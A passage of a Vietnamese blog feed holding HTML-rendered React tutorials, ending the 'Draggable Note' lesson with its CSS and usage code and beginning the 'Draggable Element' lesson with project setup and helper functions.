keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>zIndex<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>lp-draggable-note<span class="token punctuation">"</span></span> <span class="token attr-name">style</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>elemStyle<span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>header<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token punctuation">{</span>title<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>handleDataChange <span class="token operator">?</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>textarea</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>content<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>content<span class="token punctuation">}</span></span> <span class="token attr-name">spellCheck</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>false<span class="token punctuation">"</span></span> <span class="token attr-name">onChange</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>contentChange<span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span> <span class="token punctuation">)</span> <span class="token operator">:</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>textarea</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>content<span class="token punctuation">"</span></span> <span class="token attr-name">defaultValue</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>content<span class="token punctuation">}</span></span> <span class="token attr-name">spellCheck</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>false<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="nội-dung-file-draggable-notecss" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-draggable-notecss" aria-label="nội dung file draggable notecss permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file draggable-note.css</h3> <p>File này dùng để xác định style cho Draggable Note Component. Bạn chú ý là mọi thành phần mình đều để trong class <strong>.lp-draggable-note</strong> để đảm bảo không bị xung đột với các component khác (khi kết hợp các component lại với nhau).</p> <p>Ngoài ra, mình sử dụng <a href="https://www.w3schools.com/cssref/css_selectors.asp">CSS selector</a> là <strong>></strong>. Với ý nghĩa, ví dụ khi mình dùng <strong>element1 > element2</strong> thì sẽ hiểu style này được áp dụng cho <strong>element2</strong> là con trực tiếp của <strong>element1</strong> mà không phải cháu, chắt,…</p> <div class="gatsby-code-title gatsby-remark-code-title">draggable-note.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.lp-draggable-note, .lp-draggable-note *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * Thuộc tính quan trọng là ```position: absolute```; * Để có thể xét vị trí tuyệt đối khi di chuyển */</span> <span class="token selector">.lp-draggable-note</span> <span class="token punctuation">{</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">z-index</span><span class="token punctuation">:</span> 9<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #f1f1f1<span class="token punctuation">;</span> <span class="token property">border</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">max-height</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">box-shadow</span><span class="token punctuation">:</span> 0 1px 3px <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.12<span class="token punctuation">)</span><span class="token punctuation">,</span> 0 1px 2px <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.24<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">-webkit-box-shadow</span><span class="token punctuation">:</span> 0 1px 3px <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.12<span class="token punctuation">)</span><span class="token punctuation">,</span> 0 1px 2px <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.24<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">-moz-box-shadow</span><span class="token punctuation">:</span> 0 1px 3px <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.12<span class="token punctuation">)</span><span class="token punctuation">,</span> 0 1px 2px <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.24<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-draggable-note > .header</span> <span class="token punctuation">{</span> <span class="token property">padding</span><span class="token punctuation">:</span> 10px<span class="token punctuation">;</span> <span class="token property">cursor</span><span class="token punctuation">:</span> move<span class="token punctuation">;</span> <span class="token property">z-index</span><span class="token punctuation">:</span> 10<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #f8f7b6<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-draggable-note > .content</span> <span class="token punctuation">{</span> <span class="token property">padding</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #fdfccf<span class="token punctuation">;</span> <span class="token property">border</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token property">font</span><span class="token punctuation">:</span> normal normal normal 0.9rem/1.6 Nunito Sans<span class="token punctuation">,</span> Helvetica<span class="token punctuation">,</span> Arial<span class="token punctuation">,</span> sans-serif<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-draggable-note > .content:focus</span> <span class="token punctuation">{</span> <span class="token property">border</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token property">outline</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="sử-dụng-draggable-note-component" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-draggable-note-component" aria-label="sử dụng draggable note component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Draggable Note component</h2> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.App, .App *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.App</span> <span class="token punctuation">{</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 780px<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token property">font</span><span class="token punctuation">:</span> normal normal normal 1rem/1.6 Nunito Sans<span class="token punctuation">,</span> Helvetica<span class="token punctuation">,</span> Arial<span class="token punctuation">,</span> sans-serif<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./App.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> DraggableNote <span class="token keyword">from</span> <span class="token string">"./components/draggable-note/draggable-note"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>App<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text">Draggable Note</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> Made by </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://about.phamvanlam.com/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">Lam Pham</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. Visit me at </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">completejavascript.com</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">DraggableNote</span></span> <span class="token attr-name">title</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Click here to move the note</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">width</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">400</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">height</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">250</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">top</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">150</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">left</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">350</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">content</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token string">""</span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó, Draggable Note Component có các thuộc tính là:</p> <ul> <li><strong>title (<a href="/kieu-du-lieu-trong-javascript/">String</a>):</strong> là title của component.</li> <li><strong>width, height (String hoặc <a href="/kieu-du-lieu-trong-javascript/">Number</a>):</strong> lần lượt là chiều rộng và chiều cao của phần tử.</li> <li><strong>top, left (String hoặc Number):</strong> lần lượt là vị trí top và left của phần tử so với window.</li> <li><strong>content (String)</strong>: nội dung mặc định của Draggable Note.</li> </ul> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là kết quả sau khi mình học React qua ví dụ #9 – Draggable Note. Nếu bạn thấy hay thì có thể thực hành làm thử và tùy biến theo ý thích của bạn.</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/draggable-note/" class="btn btn-primary margin-bottom"> Xem Demo </a> <p>Sắp tới mình sẽ tiếp tục chia sẻ với bạn các bài thực hành của mình. Nếu bạn thấy hay hoặc muốn tìm hiểu về <strong>LOẠI COMPONENT</strong> nào thì có thể để lại bình luận phía dưới nhé!</p> <p>Còn bây giờ thì xin chào và hẹn gặp lại, thân ái!</p>[email protected]<![CDATA[Học React qua ví dụ #8: Draggable Element]]><![CDATA[Xin chào bạn đến với Học React qua ví dụ #8. Bài này mình sẽ thực hành React thông qua việc tạo Draggable Element. Trước khi bắt đầu, mời bạn theo dõi ví dụ minh họa: Như bạn thấy…]]>https://completejavascript.com/hoc-react-qua-vi-du-8-draggable-element/https://completejavascript.com/hoc-react-qua-vi-du-8-draggable-element/<![CDATA[Create-react-app]]><![CDATA[React Component]]>Sun, 02 Dec 2018 22:30:04 GMT<p>Xin chào bạn đến với Học React qua ví dụ #8. Bài này mình sẽ thực hành React thông qua việc tạo Draggable Element. Trước khi bắt đầu, mời bạn theo dõi ví dụ minh họa:</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/draggable-element/" class="btn btn-primary margin-bottom"> Xem Demo Draggable Element </a> <p>Như bạn thấy đó, Draggable Element nghĩa là <strong>phần tử có thể kéo đi, thay đổi vị trí được</strong>. Như vậy, ý tưởng để giải quyết bài toán này rất đơn giản, đó là:</p> <ul> <li>Bắt sự kiện click chuột vào phần tử</li> <li>Tính toán khoảng cách khi người dùng di chuột</li> <li>Cập nhật lại vị trí của phần tử dựa vào tính toán trên</li> </ul> <p>Và sau đây sẽ là cách triển khai, mời bạn theo dõi bài viết!</p> <blockquote> <p><strong>Bạn chú ý:</strong> Trong series <a href="/tag/react-component/">học React qua ví dụ</a> này, mình sẽ thực hành xây dựng các Component trên cùng một Project. Vì vậy, sẽ có những phần mình lặp lại trong các bài viết. Mục đích của mình là dù bạn có bắt đầu đọc từ bài nào (bài số 1 hay bài số N) thì bạn cũng có thể làm theo được.</p> </blockquote> <h2 id="khởi-tạo-project" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-project" aria-label="khởi tạo project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Project</h2> <p>Trong bài học này, mình vẫn khuyến khích bạn sử dụng <a href="/tag/create-react-app/">Create-react-app</a> để thực hành học React qua ví dụ #8 ngay trên máy tính của mình.</p> <p>Để tạo mới một project React với Creat-react-app, bạn có thể tham khảo thêm bài viết: <a href="/deploy-ung-dung-react-len-github-pages/">Tạo và deploy ứng dụng React lên Github Pages</a>.</p> <h2 id="cấu-trúc-project" style="position:relative;"><a href="#c%E1%BA%A5u-tr%C3%BAc-project" aria-label="cấu trúc project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu trúc Project</h2> <p>Đầu tiên, bạn tạo ra các thư mục và file như sau (bạn chỉ cần quan tâm tới thư mục <strong>/src</strong>):</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">learn-react-by-example/ --src/ ----components/ ------draggable-element/ --------draggable-element.css --------draggable-element.js ----images/ ----App.css ----App.js ----index.css ----index.js ----serviceWorker.js</code></pre></div> <p>Trong đó:</p> <ul> <li>Thư mục <strong>components</strong>: chứa code của các Component. Bài này mình thực hành về <strong>Draggable Element</strong> nên mình tạo thêm thư mục <strong>draggable-element</strong> bên trong với 2 file <strong>draggable-element.js</strong> và <strong>draggable-element.css</strong> để định nghĩa cho component <strong>Draggable Element</strong> (bài viết sau thực hành về cái khác thì mình sẽ tạo thêm thư mục vào bên trong <strong>components</strong> như này).</li> <li>Thư mục <strong>images</strong>: để chứa tất cả những ảnh mình sử dụng cho Demo.</li> <li>Các file <strong>App.css</strong> và <strong>App.js</strong> dùng để demo chính. Bên trong <strong>App.js</strong> mình sẽ sử dụng component <strong>Draggable Element</strong> ở trên.</li> <li>Các file <strong>index.css, index.js và serviceWorker.js</strong> thì <strong>KHÔNG THAY ĐỔI</strong> với mọi bài thực hành.</li> </ul> <h2 id="xây-dựng-draggable-element-component" style="position:relative;"><a href="#x%C3%A2y-d%E1%BB%B1ng-draggable-element-component" aria-label="xây dựng draggable element component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xây dựng Draggable Element Component</h2> <h3 id="nội-dung-file-draggable-elementjs" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-draggable-elementjs" aria-label="nội dung file draggable elementjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file draggable-element.js</h3> <p>Trong phần này bạn cần phải chú ý đến một số kiến thức như:</p> <ul> <li><a href="/tim-hieu-react-component-lifecycle/">React Component Lifecycle</a></li> <li><a href="/xu-ly-mot-event-javascript-co-ban/">Đăng ký và hủy bỏ event</a> (<strong><em>mousedown, mouseup, mousemove</em></strong>).</li> </ul> <p>Về nội dung chi tiết mình sẽ giải thích trong phần comment code dưới đây. Bạn chịu khó đọc nhé! Có phần nào chưa hiểu thì có thể để lại bình luận phía dưới.</p> <div class="gatsby-code-title gatsby-remark-code-title">draggable-element.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> ReactDOM <span class="token keyword">from</span> <span class="token string">"react-dom"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./draggable-element.css"</span><span class="token punctuation">;</span> <span class="token comment">// Kiểm tra xem 1 element có vượt quá chiều rộng của container không</span> <span class="token keyword">const</span> <span class="token function-variable function">isOverflowedX</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">elm</span><span class="token punctuation">)</span> <span class="token operator">=></span> elm<span class="token punctuation">.</span>scrollWidth <span class="token operator">></span> elm<span class="token punctuation">.</span>clientWidth<span class="token punctuation">;</span> <span class="token comment">// Kiểm tra xem 1 element có vượt quá chiều cao của container không</span> <span class="token keyword">const</span> <span class="token function-variable function">isOverflowedY</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">elm</span><span class="token punctuation">)</span> <span class="token operator">=></span> elm<span class="token punctuation">.</span>scrollHeight <span class="token operator">></span> elm<span class="token punctuation">.</span>clientHeight<span class="token punctuation">;</span> <span class="token comment">/** * Nếu 1 element có chiều rộng vượt quá container, * thì sẽ thêm scrollbar theo chiều X */</span> <span class="token keyword">const</span> <span class="token function-variable function">addScrollbarXIfNeeded</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">elm</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isOverflowedX</span><span class="token punctuation">(</span>elm<span class="token punctuation">)</span><span class="token punctuation">)</span> elm<span class="token punctuation">.</span>style<span class="token punctuation">.</span><span class="token function">setProperty</span><span class="token punctuation">(</span><span class="token string">"overflow-x"</span><span class="token punctuation">,</span> <span class="token string">"scroll"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">else</span> elm<span class="token punctuation">.</span>style<span class="token punctuation">.</span><span class="token function">setProperty</span><span class="token punctuation">(</span><span class="token string">"overflow-x"</span><span class="token punctuation">,</span> <span class="token string">"initial"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">/** * Nếu 1 element có chiều cao vượt quá container, * thì sẽ thêm scrollbar theo chiều Y */</span> <span class="token keyword">const</span> <span class="token function-variable function">addScrollbarYIfNeeded</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">elm</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isOverflowedY</span><span class="token punctuation">(</span>elm<span class="token punctuation">)</span><span class="token punctuation">)</span> elm<span class="token punctuation">.</span>style<span class="token punctuation">.</span><span class="token function">setProperty</span><span class="token punctuation">(</span><span class="token string">"overflow-y"</span><span class="token punctuation">,</span> <span class="token string">"scroll"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">else</span> elm<span class="token punctuation">.</span>style<span class="token punctuation">.</span><span class="token function">setProperty</span><span class="token punctuation">(</span><span class="token string">"overflow-y"</span><span class="token punctuation">,</span> <span class="token string">"initial"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">/** * Cross-browser để xác định clientWidth cho IE8 trở về trước * Draggable Element chỉ cho phép di chuyển phần tử * ở trong phạm vi màn hình */</span> <span class="token keyword">const</span> maxWidth <span class="token operator">=</span> window<span class="token punctuation">.</span>innerWidth <span class="token operator">||</span> document<span class="token punctuation">.</span>documentElement<span class="token punctuation">.</span>clientWidth <span class="token operator">||</span> document<span class="token punctuation">.</span>body<span class="token punctuation">.</span>clientWidth<span class="token punctuation">;</span> <span class="token comment">/** * Cross-browser để xác định clientHeight cho IE8 trở về trước * Draggable Element chỉ cho phép di chuyển phần tử * ở trong phạm vi màn hình */</span> <span class="token keyword">const</span> maxHeight <span class="token operator">=</span> window<span class="token punctuation">.</span>innerHeight <span class="token operator">||</span> document<span class="token punctuation">.</span>documentElement<span class="token punctuation">.</span>clientHeight <span class="token operator">||</span> document<span class="token punctuation">.</span>body<span class="token punctuation">.</span>clientHeight<span class="token punctuation">;</span> <span class="token comment">/** * React Component cho phép di chuyển 1 phần tử * trong phạm vi màn hình. * Hiện tại chỉ support di chuyển trên Desktop, * chưa support trên điện thoại */</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">DraggableElement</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>props<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Bind các phương thức để sử dụng phía dưới</span> <span class="token keyword">this</span><span class="token 